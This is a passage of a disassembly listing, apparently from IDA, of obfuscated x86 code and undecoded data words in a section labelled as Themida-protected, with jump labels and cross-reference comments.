		dd 53157DF0h, 6939BA52h, 0E281147Ch, 675F3465h,	0EAC1D2F7h
		dd 13F28108h, 0E93A776Ah, 34C8h
; ---------------------------------------------------------------------------

loc_550E48:				; CODE XREF: Themida_:0054A4D3j
		push	esi
		mov	esi, 6FF01A80h
		dec	esi
		jmp	loc_55439F
; ---------------------------------------------------------------------------
		dd 582434FFh, 0FFFB31E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_550E5D:				; CODE XREF: Themida_:0055713Ej
		pop	esi
		add	esi, 4
		jmp	loc_550407
; ---------------------------------------------------------------------------

loc_550E69:				; CODE XREF: Themida_:00544E41j
		dec	edx
		and	edx, 6F1208BEh
		add	edx, 4E9418D1h
		jmp	loc_54DC83
; ---------------------------------------------------------------------------
aTucSsd		db '╧TUc+ИАD',0
		db 0
; ---------------------------------------------------------------------------

loc_550E85:				; CODE XREF: Themida_:005562E1j
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_5493FF
; ---------------------------------------------------------------------------

loc_550E8E:				; CODE XREF: Themida_:00548254j
		pop	eax
		jmp	loc_54E962
; ---------------------------------------------------------------------------
		dd 223EBE56h, 0EB812620h, 1337095Bh, 0C381F301h, 1337095Bh
		dd 64C3815Eh, 81DC3E8Eh, 0B23FE8C6h, 81DE0120h,	4ECh, 7788E900h
		dd 9568FFFFh, 8900003Eh, 69BA2414h, 0C14D4E2Eh,	1FE907E2h
		db 62h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_550ED7:				; CODE XREF: Themida_:00547AB4j
		xchg	ebp, [esp]
		pop	esp
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], eax
		push	645E56A3h
		pop	eax
		xor	[esp+4], eax
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_551C81
; ---------------------------------------------------------------------------
		db 0FFh, 74h, 24h
		dd 0D6E95F04h, 87FFFF2Bh, 0E95C242Ch, 177Dh, 36BF7BFh
		dd 4EC831Fh, 55240C89h,	62278BDh, 2EDC16Bh, 5E68F581h
		dd 0DD872D84h, 93D0F793h, 0BA52DD87h, 0F5223A15h, 87E9D531h
		dd 6800003Fh, 6AEh, 0BA241489h,	34BD7E03h, 36C0EA81h, 0F2816AD7h
		dd 410447E6h, 0B951D2F7h, 0
		dd 0FFE303E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_550F61:				; CODE XREF: Themida_:0054B4E0j
		sub	edx, 30801FCh
		add	ecx, edx
		mov	edx, [esp]
		jmp	loc_5544BA
; ---------------------------------------------------------------------------

loc_550F71:				; CODE XREF: Themida_:00549B7Ej
		add	ebx, 758852A3h
		add	ebx, esi
		sub	ebx, 758852A3h
		jmp	loc_54782B
; ---------------------------------------------------------------------------
		dd 9083E95Dh, 0D629FFFFh, 8EEC15Ah, 4078F681h, 0F6814331h
		dd 437448EFh, 4425E950h, 5468FFFFh, 8900006Fh, 4812424h
		dd 424h, 0BF575E00h, 4,	0FF6F10E9h, 0EEC159FFh,	9CEE8108h
		dd 1F003CDh, 0F9685EF3h, 0E9000075h, 0FFFF7DD0h
; ---------------------------------------------------------------------------

loc_550FD4:				; CODE XREF: Themida_:0055629Dj
		sub	esp, 4
		jmp	loc_54B17A
; ---------------------------------------------------------------------------
dword_550FDC	dd 0E9240C30h, 0B0Dh, 0E9241C87h, 0FFFFDCAAh, 3104C483h
					; DATA XREF: Themida_:00542FF4o
		dd 241C8BDAh, 3104C483h, 24148BD0h, 81E18951h, 4C1h, 4C18300h
		dd 5C240C87h, 0E904EC83h, 0FFFF5F04h
; ---------------------------------------------------------------------------

loc_551014:				; CODE XREF: Themida_:0054E99Aj
		sub	esi, ebp
		add	esi, 6BE10D08h
		pop	ebp
		sub	esi, eax
		add	esi, 69196EB8h
		mov	eax, [esp]
		add	esp, 4
		add	esi, 6AA304E4h
		mov	edx, [esp]
		push	ecx
		mov	ecx, esp
		push	ebx
		mov	ebx, 4
		add	ecx, ebx
		pop	ebx
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_548B1C
; ---------------------------------------------------------------------------
		dd 240C8755h, 26A0E941h, 0E952FFFFh, 0FFFF5B50h
; ---------------------------------------------------------------------------

loc_55105C:				; CODE XREF: Themida_:0054DC05j
		push	eax
		mov	eax, 0B3E66C5h
		push	edx
		mov	edx, 0
		sub	edx, eax
		jmp	loc_550454
; ---------------------------------------------------------------------------

loc_55106F:				; CODE XREF: Themida_:0054F6FBj
		add	ebx, edi
		pop	edi
		jmp	loc_543C99
; ---------------------------------------------------------------------------
		db 81h
		dd 25E75FEFh, 61C28134h, 814E3623h, 0F41DDCEAh,	81FA0118h
		dd 0F41DDCC2h, 56525018h, 0E3E9h, 4EC8100h, 89000000h
		dd 0AE9243Ch
		db 26h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5510A7:				; CODE XREF: Themida_:00545028j
		pop	esi
		pop	ebx
		mov	esi, 0D5575305h
		sub	esi, eax
		mov	eax, [esp]
		push	ebx
		mov	ebx, esp
		jmp	loc_54EBFC
; ---------------------------------------------------------------------------

loc_5510BB:				; CODE XREF: Themida_:0054413Cj
		mov	ebx, 72AC5CEAh
		shr	ebx, 4
		sub	esp, 4
		mov	[esp], esi
		push	18Bh
		mov	[esp], ecx
		mov	ecx, 76D70099h
		push	429Dh
		mov	[esp], ecx
		push	eax
		mov	eax, 3AC06C15h
		jmp	loc_557611
; ---------------------------------------------------------------------------
		dd 0E9D83059h, 0FFFF74A1h, 2F168h, 24048900h, 0E904EC83h
		dd 0FFFF511Bh
; ---------------------------------------------------------------------------

loc_551104:				; CODE XREF: Themida_:00553365j
		mov	edx, 48B004D3h
		sub	ecx, edx
		pop	edx
		add	ecx, eax
		jmp	loc_54D56B
; ---------------------------------------------------------------------------
byte_551113	db 66h			; DATA XREF: Themida_:005430A0o
		dd 83240C8Bh, 3C8904ECh, 616BE924h, 1C87FFFFh, 24248B24h
		dd 0FFAB42E9h, 4C483FFh, 53CBE9h, 5FF98900h, 3A76142Dh
		dd 5C8291Bh, 1B3A7614h,	4EC8159h, 89000000h, 7D68243Ch
		dd 8900003Ah, 34E92434h
		db 48h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55115B:				; CODE XREF: Themida_:005476F8j
		sub	edx, 4FE50948h
		add	edx, eax
		push	ecx
		mov	ecx, 4FE50948h
		jmp	loc_54C1AF
; ---------------------------------------------------------------------------

loc_55116E:				; CODE XREF: Themida_:00555123j
		pop	ecx
		add	ecx, esi
		jmp	loc_554D89
; ---------------------------------------------------------------------------
		dw 0E952h
		dd 0FFFF3A86h, 0DA07CDBEh, 1906E932h, 0EF290000h, 8BFE015Dh
		dd 0C481243Ch, 4, 2434875Ah, 0FF3A38E9h, 2EC81FFh, 66000000h
		dd 0E9240489h, 304Fh, 6804C483h, 2B29h,	89243C89h, 249568E7h
		dd 83E90000h, 0BBFFFF60h, 39EB5584h, 8107EBC1h,	2A97ABF3h
		dd 5BD9210Ah, 36E18149h, 8106982Bh, 180032F1h, 59C82900h
		dd 5C240487h, 0BE243489h, 4, 7B7BC181h,	0F1017994h, 0FF4706E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5511FD:				; CODE XREF: Themida_:0054F7B6j
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_555836
; ---------------------------------------------------------------------------

loc_551208:				; CODE XREF: Themida_:0055384Ej
		add	esp, 4
		jmp	loc_54A7A3
; ---------------------------------------------------------------------------
		dd 54FBD55h, 0E5D15B46h, 4CDEF581h, 0E5C13909h,	30E58106h
		dd 8147BC2Dh, 4D745ACDh, 0AF58174h, 92CB321h, 0F1E4E9EBh
		dd 295EFFFFh, 242C8BEEh, 0FF71FAE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_551245:				; CODE XREF: Themida_:0054B0EBj
		push	ecx
		mov	ecx, esp
		jmp	loc_54C1F4
; ---------------------------------------------------------------------------
		db 89h,	4, 24h
		dd 34439268h, 65E95835h, 2900000Ch, 0D238E9CAh,	0E089FFFFh
		dd 2D0E9h
		db 0
byte_551269	db 0FFh, 77h, 1Ch	; DATA XREF: Themida_:00543230o
		dd 1058669Dh, 0E99C2404h, 0FFFF2023h
dword_551278	dd 24048B66h, 0FFCD47E9h ; DATA	XREF: Themida_:00543214o
		db 0FFh
; ---------------------------------------------------------------------------

loc_551281:				; CODE XREF: Themida_:005582AEj
		or	eax, eax
		jz	loc_5537FB
		push	dword ptr [edi+28h]
		push	426Fh
		mov	[esp], esi
		push	ecx
		push	0D9431EDh
		jmp	loc_545B12
; ---------------------------------------------------------------------------
		db 89h
		dd 0C6015BD8h, 0FFD540E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5512A9:				; CODE XREF: Themida_:00553946j
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		jmp	loc_54E0C3
; ---------------------------------------------------------------------------

loc_5512BB:				; CODE XREF: Themida_:00556E36j
		sub	edx, eax
		mov	eax, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_5466A8
; ---------------------------------------------------------------------------
aZusv		db 'ZUИv',9,0
		align 4

loc_5512D8:				; CODE XREF: Themida_:00549D67j
		pop	esp
		jmp	loc_5436B3
; ---------------------------------------------------------------------------
		dw 2C89h
		dd 4B79BD24h, 0BF5765B9h, 384831D5h, 8102E7C1h,	0C21979CFh
		dd 1314E96Eh, 3C310000h, 243C3324h, 9CE9505Ch, 91FFFF4Eh
		dd 0E0C1E8D1h, 67D2E907h, 0B9680000h, 89000049h, 0AABA2414h
		dd 421D3B02h, 0F281DAF7h, 0D07CB9C1h, 0E95AD329h, 6CC3h
		dd 8F3E95Ch, 0EC830000h, 24048904h, 0FF6485E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_551341:				; CODE XREF: Themida_:0054D82Cj
		push	638Eh
		jmp	loc_555971
; ---------------------------------------------------------------------------

loc_55134B:				; CODE XREF: Themida_:005491CAj
		and	edi, ebp
		pop	ebp
		push	ebp
		mov	ebp, 1DC06BA1h
		and	edi, ebp
		jmp	loc_555896
; ---------------------------------------------------------------------------
		db 81h
		dd 4C2h, 4EA8300h, 5C241487h, 89241489h, 4C281E2h, 83000000h
		dd 0D2E904C2h, 8FFFFF5Dh, 0BD552404h, 4, 4246C01h, 0E9242C8Bh
		dd 0FFFFAA37h, 0FF240C89h, 0FF042474h, 0A2E92434h, 1FFFF28h
		dd 26B951D6h, 29476159h, 148B59CEh, 4C48324h, 8704EE83h
		dd 895C2434h, 49E92404h, 81000041h, 4C4h, 0E7895700h, 4C781h
		dd 0BE560000h, 39308F1h, 0FF5B2BE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5513D9:				; CODE XREF: Themida_:00557FA5j
		xchg	esi, [esp]
		pop	esp
		jmp	loc_551CA8
; ---------------------------------------------------------------------------
		dw 5709h
		dd 7F4BE91Ch, 1C89FFFFh, 0F7CA6824h, 1C8B1248h,	4C48324h
		dd 3BE9D831h, 89FFFF8Eh, 0E9532404h, 6251h, 5366DEF6h
		dd 0B338B050h, 58C32874h, 8B66DE30h, 0EFE9241Ch, 54000030h
		dd 0FF5FE0E9h, 0D1F759FFh, 0F751E9D1h, 0E9592414h, 414Bh
		dd 4C5815Dh, 81000000h,	4C5h, 242C8700h, 2ED815Ch, 33000000h
		dd 2C31242Ch, 242C3324h, 6624248Bh, 0E9240489h,	0FFFF1E3Bh
		dd 5E2434FFh, 161268h, 241C8900h, 4D685B54h, 8900000Bh
		dd 0BCE9242Ch, 0FFFF48h, 0E9FC2CD8h, 3DA4h, 8704C283h
		dd 80E92414h
		db 0CFh, 2 dup(0FFh)
byte_55148F	db 66h			; DATA XREF: Themida_:0054323Co
		dd 68240C8Bh, 2C8h, 54240C89h, 4685059h, 8B000000h, 0C4832404h
		dd 58C10104h, 776B68h, 243C8900h, 2BFh,	6654E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5514BE:				; CODE XREF: Themida_:00545CFFj
		sub	ebx, 76D90759h
		jmp	loc_550574
; ---------------------------------------------------------------------------
		db 5Ah,	55h, 57h
		dd 6B6A53BFh, 5FFD8950h, 27BF5752h, 890A3E5Eh, 4AF6E9FAh
		dd 0F1080000h, 0FF3CA5E9h, 53AC04FFh, 0AF2C60B7h, 0B652F828h
		dd 58EE8060h, 0B8E9DE86h
		db 0C1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5514FF:				; CODE XREF: Themida_:0054C9FCj
		mov	ebp, 78F7AE0h
		sub	ebp, 4B347FDFh
		push	edx
		mov	edx, 65E3546Eh
		sub	ebp, edx
		pop	edx
		not	ebp
		sub	ebp, 46B9E39Fh
		sub	ebp, 6EDA76C1h
		or	ebp, 2A0C16D7h
		add	ebp, 96B3BF1h
		add	eax, 60D25F68h
		sub	eax, ebp
		jmp	loc_556BE5
; ---------------------------------------------------------------------------
		db 68h,	3Ch, 2Dh
		dd 0E8E90000h, 83FFFF98h, 0C33002C4h, 1CC5E9h, 81E28900h
		dd 4C2h, 4C28300h, 5C241487h, 81E78957h, 4C7h, 4878E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55156A:				; CODE XREF: Themida_:00548A66j
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		mov	edx, 2
		add	ebx, edx
		pop	edx
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		bt	[esp], ax
		pushf
		jmp	loc_54329B
; ---------------------------------------------------------------------------

loc_551593:				; CODE XREF: Themida_:0054384Ej
		pop	ebp
		neg	ebx
		xor	ebx, 0C2208806h
		add	esi, ebx
		pop	ebx
		push	edi
		mov	edi, 0BB60C17h
		jmp	loc_54D555
; ---------------------------------------------------------------------------

loc_5515AA:				; CODE XREF: Themida_:00544828j
		or	edx, 6377583Ah
		or	edx, 7CEB1AD6h
		shr	edx, 8
		jmp	loc_555AA0
; ---------------------------------------------------------------------------
		dw 0D3F7h
		dd 7522C381h, 0DE018622h, 0E9D6015Bh, 0FFFF26A2h, 0D8F7E0D1h
		dd 3A21E953h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5515DA:				; CODE XREF: Themida_:0054B894j
		pop	esi
		add	ebx, edi
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, 400178F4h
		add	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		mov	edi, [esp]
		jmp	loc_5437C5
; ---------------------------------------------------------------------------

loc_551608:				; CODE XREF: Themida_:00555D10j
		xchg	eax, [esp]
		pop	esp
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_54AF60
; ---------------------------------------------------------------------------
		db 80h
		dd 0F28064CAh, 5AD38887h, 5B66DE20h, 2028EE80h,	24148BF0h
		dd 8904EC83h, 0F0E9241Ch, 5EFFFF8Dh, 5701ED83h,	0FF3CDCE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_551641:				; CODE XREF: Themida_:00544735j
		push	edi
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 49D52040h
		inc	esi
		sub	esi, 73B90CD7h
		inc	esi
		or	esi, 19E546B3h
		sub	esi, 51572694h
		push	262Ch
		jmp	loc_54BB4E
; ---------------------------------------------------------------------------
		dw 48Fh
		dd 24E95C24h, 0B2FFFF1Ch, 0C0D2F643h, 0D2F602E2h, 5868E9h
		db 0
; ---------------------------------------------------------------------------

loc_551685:				; CODE XREF: Themida_:00544963j
		sub	esi, 4BD03BB7h
		mov	ecx, [esp]
		jmp	loc_55713C
; ---------------------------------------------------------------------------
		db 2Dh
		dd 1EC55C35h, 0FF95D6E9h, 241C8BFFh, 8104C483h,	4ECh, 24048900h
		dd 0EC861DB4h, 0FF531AE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5516B5:				; CODE XREF: Themida_:0054943Ej
		mov	edi, 4
		add	edx, edi
		jmp	loc_543F53
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 89000000h, 24B82404h, 1000000h, 2434FFC6h, 582434FFh
		dd 4C481h, 0EC810000h, 4, 0E9241C89h, 61DDh, 0E901C780h
		dd 0FFFF220Bh
; ---------------------------------------------------------------------------

loc_5516F4:				; CODE XREF: Themida_:00544E07j
		or	esi, 8A801AAh
		jmp	loc_552FFA
; ---------------------------------------------------------------------------
		db 0BDh
		dd 4, 4246C01h,	405585Dh, 83000000h, 0A1E904C0h
		db 0C6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_551717:				; CODE XREF: Themida_:00555D45j
		pop	ebp
		xor	[esp+4], esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		pop	eax
		xor	eax, 6EB715BDh
		mov	ebp, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edi
		push	esp
		mov	edi, [esp]
		jmp	loc_54D999
; ---------------------------------------------------------------------------

loc_551747:				; CODE XREF: Themida_:00549C42j
		push	dword ptr [esp]
		pop	esi
		push	edx
		mov	edx, esp
		add	edx, 4
		push	ebp
		push	edi
		push	6AE3CA1h
		pop	edi
		add	edi, 0F951C363h
		mov	ebp, edi
		jmp	loc_555657
; ---------------------------------------------------------------------------
		db 58h,	81h, 0C4h
		dd 4, 0FF3134E9h, 66E958FFh, 89FFFF27h,	5D4E9E3h, 8F5A0000h
		dd 535C2404h, 4BBh, 5BDF0100h, 2FD2BB53h, 0F3815711h, 5C0D6DD4h
		dd 1EEDCB81h, 0C3815A8Ah, 147F240Ah, 82F7EB81h,	59E9701Dh
		db 4Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5517B3:				; CODE XREF: Themida_:005558CFj
		add	ebx, ebp
		mov	ebp, [esp]
		add	esp, 4
		add	ebx, 76D90759h
		jmp	loc_545CF1
; ---------------------------------------------------------------------------

loc_5517C6:				; CODE XREF: Themida_:0054C365j
		push	ebx
		mov	ebx, esp
		push	esi
		jmp	loc_55304D
; ---------------------------------------------------------------------------

loc_5517CF:				; CODE XREF: Themida_:00549588j
		pop	ebx
		sub	eax, 0C10021Bh
		jmp	loc_544DF5
; ---------------------------------------------------------------------------
		dw 3C33h
		dd 1DE95C24h
		db 6Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5517E3:				; CODE XREF: Themida_:00545ED8j
		mov	[esp], esi
		jmp	loc_556BDB
; ---------------------------------------------------------------------------
byte_5517EB	db 0FFh			; DATA XREF: Themida_:00543154o
		dd 669D1C77h, 4116658h,	0A0E99C24h, 0BBFFFF1Ah,	0ECB403D1h
		dd 54E9DA01h, 81FFFF89h, 0DB1775F6h, 0F7CE8767h, 53CE87D9h
		dd 0DB86856h, 0C15E7554h, 0EE8103E6h, 936FF9D7h, 348BF389h
		dd 4C48124h, 81000000h,	0DE3983CBh, 0FFEB8155h,	50FFFFFFh
		dd 850DC8B8h, 0E9C33165h, 0FFFFD2E1h, 2404285Ch, 1A49E99Ch
		dd 3487FFFFh, 0C52C5C24h, 0CE9C800h, 50000031h,	76735BB8h
		dd 8BC60131h, 0C4812404h, 4, 0FF62BAE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_551875:				; CODE XREF: Themida_:00552DD7j
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		push	esi
		push	4C0h
		mov	[esp], esp
		jmp	loc_55031C
; ---------------------------------------------------------------------------
		dw 0D829h
		dd 8BC1295Bh, 89562404h, 4C681E6h, 53000000h, 4BBh, 0A9FFE900h
		dd 9BBDFFFFh, 813E0B42h, 0B429FF5h, 7324E93Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5518BE:				; CODE XREF: Themida_:00548860j
		push	ebx
		mov	ebx, 13EE7712h
		add	ecx, ebx
		pop	ebx
		and	ecx, 2BD75870h
		xor	ecx, 733E4188h
		sub	edx, 167E6DB8h
		add	edx, ecx
		add	edx, 167E6DB8h
		pop	ecx
		jmp	loc_55669D
; ---------------------------------------------------------------------------

loc_5518E7:				; CODE XREF: Themida_:00544497j
		push	dx
		sub	esp, 4
		jmp	loc_543789
; ---------------------------------------------------------------------------
		db 57h,	0BFh, 83h
		dd 29FE2B19h, 0C3095FF8h, 0FAC38158h, 29579C87h, 0C2015BDAh
		dd 537C281h, 1EE9437Bh,	0BF00001Ah, 218E776Bh, 3C8BF909h
		dd 4C48324h, 8108E1C1h,	0A90DD0E9h, 63BB5379h, 0C126B454h
		dd 29E907E3h, 87FFFF8Eh, 248B241Ch, 4C48124h, 56000000h
		dd 0A23C8CBEh, 8EC68170h, 5511ED70h, 922C89BDh,	0A6C58170h
		dd 8139D11Bh, 0C81814C5h, 58FDE97Fh, 0FFB80000h, 29FFFFFFh
		dd 3094E9C1h, 5CBEFFFFh, 297BF256h, 0C5815EF5h,	0CCC8413Ah
		dd 0FFB6BFE9h, 241487FFh, 0BA2685Ch, 14890000h,	2BA24h
		dd 9C050000h, 2D2B1453h, 269A18A9h, 0A905D001h,	2D269A18h
		dd 2B14539Ch, 8B2434FFh, 0F5E92414h, 68FFFFF7h,	5423h
		dd 89240C89h, 5EE957E1h, 8B000052h, 34FF2424h, 0BF94E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5519D2:				; CODE XREF: Themida_:00544BEEj
		push	7614h
		mov	[esp], ebx
		jmp	loc_5450BF
; ---------------------------------------------------------------------------

loc_5519DF:				; CODE XREF: Themida_:00557ED1j
		mov	[esp], ebx
		push	882h
		jmp	loc_545A61
; ---------------------------------------------------------------------------
		dd 4E6BEB81h, 0C329062Eh, 4E6BC381h, 0A3E9062Eh, 89000020h
		dd 0BA52240Ch, 2F9D560Fh, 13E9D189h
		db 0BAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_551A0F:				; CODE XREF: Themida_:0054CB4Bj
		and	edx, 337032ACh
		sub	edx, 141BD0A8h
		add	ebp, edx
		pop	edx
		jmp	loc_552B85
; ---------------------------------------------------------------------------
		db 2Ch
		dd 240C8BB9h, 2611E951h, 0C7310000h, 0AEC78158h, 0E9C5D22Eh
		dd 0FFFFF6F9h, 0DDE95366h, 81FFFF7Ah, 5C69F2CAh, 97A9E97Ch
		dd 0EC83FFFFh, 24248904h, 4240483h, 0E924348Bh,	0FFFF8A21h
; ---------------------------------------------------------------------------

loc_551A60:				; CODE XREF: Themida_:0054DE50j
		mov	edi, [esp]
		jmp	loc_544C64
; ---------------------------------------------------------------------------
		dd 5A66D130h, 0FF5410E9h, 0CCE951FFh, 0BD000048h, 629ED9E9h
		dd 0B4E9F501h, 2CFFFFFBh, 0B45053F4h, 274CE957h, 0E3C10000h
		dd 0FCEB8105h, 2D80819Fh, 2F5970B2h, 0B205D801h, 0FF2F5970h
		dd 0E95B2434h, 0FFFF1B2Fh, 0E95BD989h, 3865h
; ---------------------------------------------------------------------------

loc_551AB4:				; CODE XREF: Themida_:0054CB85j
		mov	esp, [esp]
		jmp	loc_55612C
; ---------------------------------------------------------------------------
		dd 240C8B66h, 4EC81h, 21E90000h
		db 5Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_551ACB:				; CODE XREF: Themida_:00557CC7j
		pop	edx
		push	ebx
		pop	dword ptr [eax]
		mov	ebx, [esp]
		add	esp, 4
		mov	eax, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_554421
; ---------------------------------------------------------------------------
		dd 0FF17AAE9h, 240C32FFh, 0E9240C30h, 0FFFFA7DBh
; ---------------------------------------------------------------------------

loc_551AFC:				; CODE XREF: Themida_:0054EC76j
		add	dword ptr [esp+4], 633E6047h
		jmp	loc_553A6F
; ---------------------------------------------------------------------------
		db 2Ch,	0A5h, 0E9h
		dd 3001h, 9C240CFEh, 0FF1782E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_551B19:				; CODE XREF: Themida_:0054FB36j
		push	esi
		pop	ecx
		mov	esi, [esp]
		add	esp, 4
		add	ebx, ecx
		pop	ecx
		push	dword ptr [ebx]
		sub	dword ptr [esp], 13FA0D13h
		pop	eax
		add	eax, 13FA0D13h
		jmp	loc_55672F
; ---------------------------------------------------------------------------
		dd 4ACEBF57h, 7C296B72h, 8B5F0C24h, 8951240Ch, 4C181E1h
		dd 81000000h, 4E9h, 240C8700h, 2434895Ch, 0FFC4D1E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_551B61:				; CODE XREF: Themida_:0055681Cj
		xor	dl, al
		jmp	loc_54EB59
; ---------------------------------------------------------------------------
		dd 0E924048Fh, 0FFFF5119h
; ---------------------------------------------------------------------------

loc_551B70:				; CODE XREF: Themida_:00544CA0j
		push	ebx
		mov	ebx, esp
		jmp	loc_552B63
; ---------------------------------------------------------------------------

loc_551B78:				; CODE XREF: Themida_:0054E68Dj
		push	esi
		pop	ebp
		push	ebp
		pop	dword ptr [ebx]
		pop	ebp
		mov	esi, [esp]
		add	esp, 4
		pop	eax
		pop	ebx
		jmp	loc_55092B
; ---------------------------------------------------------------------------
		dw 8358h
		dd 0FF5104C1h, 0E9042474h, 0FFFF746Dh, 4B8h, 60D8E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_551BA6:				; CODE XREF: Themida_:0054F9EDj
		mov	[esp], esp
		push	ebp
		jmp	loc_556FD8
; ---------------------------------------------------------------------------

loc_551BAF:				; CODE XREF: Themida_:005581F2j
		mov	edx, ecx
		pop	ecx
		xor	edx, 528C4541h
		jmp	loc_5456AA
; ---------------------------------------------------------------------------
		db 0B6h, 22h, 0C0h
		dd 0D6F603EEh, 0FF9886E9h, 4E1C1FFh, 0F181E9D1h, 683D261Ah
		dd 9239E981h, 8955DEF1h, 0E9EA89CDh, 3F96h, 815BDD01h
		dd 597B62C5h, 0EB53E903h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_551BF2:				; CODE XREF: Themida_:0054FF77j
		xchg	ecx, [esp]
		pop	esp
		sub	ebx, 4
		push	38F0h
		mov	[esp], ebx
		push	dword ptr [esp+4]
		pop	ebx
		jmp	loc_551E29
; ---------------------------------------------------------------------------

loc_551C0B:				; CODE XREF: Themida_:0054FC3Fj
		add	bl, ah
		jmp	loc_5520F1
; ---------------------------------------------------------------------------

loc_551C12:				; CODE XREF: Themida_:0055548Cj
		mov	ebx, [esp]
		add	esp, 4
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		jmp	loc_550B72
; ---------------------------------------------------------------------------
		db 89h,	2Ch, 24h
		dd 4685056h, 58771336h,	25D0F740h, 482B4CF9h, 8BE7782Dh
		dd 58C689CEh, 9C6184BDh, 0ECB0E939h, 3FBDFFFFh,	8136E970h
		dd 6004246Ch, 29579A68h, 8104246Ch, 60042444h, 5D579A68h
		dd 2C29E9h, 24048900h, 4B8h, 58C72900h,	5C243C87h, 394BE9h
		db 0
; ---------------------------------------------------------------------------

loc_551C81:				; CODE XREF: Themida_:00550EF4j
		mov	eax, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		add	esp, 4
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_54E1AA
; ---------------------------------------------------------------------------

loc_551CA8:				; CODE XREF: Themida_:005513DDj
		pop	dword ptr [esp]
		xchg	edx, edi
		xchg	esi, edx
		not	esi
		jmp	loc_545178
; ---------------------------------------------------------------------------

loc_551CB6:				; CODE XREF: Themida_:00552133j
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_552A19
; ---------------------------------------------------------------------------
		dw 5452h
		dd 5DF1E9h, 0E2815E00h,	61BF0DC7h, 622CC281h, 534A5118h
		dd 0AEC330BBh, 0BAC28102h, 125767Fh, 5BCAE9DAh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_551CEA:				; CODE XREF: Themida_:005435C9j
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 45463B7h
		jmp	loc_54F85B
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 54241C89h, 0FF267DE9h, 0EC835EFFh, 243C8904h, 3C635FBFh
		dd 9DCF8153h, 81777272h, 0E301E7C7h, 0E953478Bh, 0FFFF3D4Bh
		dd 240C335Ah, 0FFE981E9h, 0EAB850FFh, 31C4F264h, 2434FFC5h
		dd 3A42E958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_551D42:				; CODE XREF: Themida_:00548D51j
		sub	ecx, 1C2B651Bh
		add	ecx, esi
		push	esi
		jmp	loc_55034A
; ---------------------------------------------------------------------------
		dd 0F420E953h, 0E955FFFFh, 2085h, 4C581h, 58E90000h
		db 1Eh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_551D67:				; CODE XREF: Themida_:0055311Ej
		push	ebx
		mov	ebx, 2A1D13B7h
		add	ebx, 0D5E2EC4Dh
		mov	esi, ebx
		pop	ebx
		add	edi, 33190402h
		sub	edi, esi
		sub	edi, 33190402h
		pop	esi
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		mov	[esp], esi
		push	esp
		mov	esi, [esp]
		push	31D2h
		mov	[esp], ebp
		push	esp
		pop	ebp
		push	esi
		push	4
		pop	esi
		add	ebp, esi
		pop	esi
		add	ebp, 4
		jmp	loc_54BB43
; ---------------------------------------------------------------------------
		db 89h,	2Ch, 24h
		dd 871F32BDh, 0E9EB016Eh, 1F20h, 58C2295Fh, 2834C781h
		dd 0C7816297h, 3AEA1092h, 0EF81D701h, 3AEA1092h, 2834EF81h
		dd 0E95A6297h, 0E08h, 66D5C681h, 3FE95529h, 5DFFFF2Eh
